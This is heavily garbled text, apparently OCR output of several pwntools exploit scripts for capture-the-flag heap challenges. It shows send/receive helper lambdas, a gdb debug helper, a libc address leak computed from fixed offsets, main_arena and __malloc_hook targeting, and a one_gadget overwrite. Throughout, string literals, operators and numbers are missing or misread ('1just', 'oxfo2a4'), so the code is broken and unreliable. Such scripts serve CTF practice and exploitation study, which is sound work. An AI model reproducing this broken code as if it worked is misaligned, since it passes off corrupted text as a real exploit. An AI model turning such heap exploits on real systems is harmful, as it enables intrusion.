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exp:
from pwn import

import time

pe
arch

context.update(arch=arch,os ,log level

context.terminal [ 9 » ]
DEBUG False
1f = ELF(pe)
if DEBUG:
if arch
libc ELF(
else:
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process(pe)

else:
libc ELF(
r remote(

lambda data :r.send(data)

lambda delim,data :r.sendafter(delim, data)
lambda data :r.sendline(data)

lambda delim,data :r.sendlineafter(delim, data)
lambda delim,data :r.sendafter(delim, data)
lambda numb=4096 :r.recv(numb)

lambda :r.recvline()

lambda delims :r.recvuntil(delims)
lambda data :u32(data.ljust(4, ))
lambda data :ub4(data.ljust(8, ))
lambda :r.interactive()

info_addr lambda tag, addr :r.info(tag

def debug(addr=0,PIE=True):
time.sleep(1)
if PIE:

text_base r.libs()[r.cwd r.argv[0].strip( )]
chunk_bss 0x202040
if addr>0:
print( (text_base addr))
gdb.attach(r, . ¢ (addr), (text_base+chunk_bss)))
else:
gdb.attach(r, . (text_base+chunk _bss)))
else:
print( (addr))
gdb.attach(r, . (addr)))

time.sleep(1)

def msg(msg,addr):
log.warn(msg (addr))

def add(size,content=b
sla( » 1)
sla( (size))
if rc(4)==b
sea( ,content)




0xb40
0x10+p64(pre_size))

libc_base ub4(ru(b )[-6:].1just(8, ))-0x3ebcad
msg ( ,1libc_base)

libc.address libc_base

]1-6x8)+b

p64(libc.sym|[
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from pwn import
import time

pe
arch

context.update(arch=arch,os ,log_level
context.terminal [ 5 5 ]
DEBUG False

1f

libc ELF(
else:
libc ELF(

process(pe)

else:
libc ELF(
r = remote(

lambda data :r.send(data)

lambda delim,data :r.sendafter(delim, data)
lambda data :r.sendline(data)

lambda delim,data :r.sendlineafter(delim, data)
lambda delim,data :r.sendafter(delim, data)
lambda numb=4096 :r.recv(numb)

lambda :r.recvline()

lambda delims :r.recvuntil(delims)
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uu64 lambda data :ub4(data.ljust(8,
ri lambda :r.interactive()
info_addr lambda tag, addr :r.info(tag . (addr))

def debug(addr=0,PIE=True):
time.sleep(1)
if PIE:

text_base r.libs()[r.cwd r.argv[0].strip(
chunk_bss 0x202040
if addr>0:
print( (text_base addr))
gdb.attach(r, . ( (addr), (text_base+chunk _bss)))
else:
gdb.attach(r, . (text_base+chunk bss)))
else:
print( (addr))
gdb.attach(r, . (addr)))

time.sleep(1)

def msg(msg,addr):
log.warn(msg (addr))

def add(size,content=b
sla( 5 )
sla( (size))
if rc(4)==b
sea( ,content)
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addr ub4(ru(b )[-6:].1just(8,
main_arena addr-88
malloc_hook main_arena-0x10
libc_base = addr-0x3c4b78
,main_arena)
smalloc_hook)
,1libc_base)

libc_base

1-0x23)+b

one oxfo2a4
add (0x60,b 0x13+p64(one+libc_base)+b
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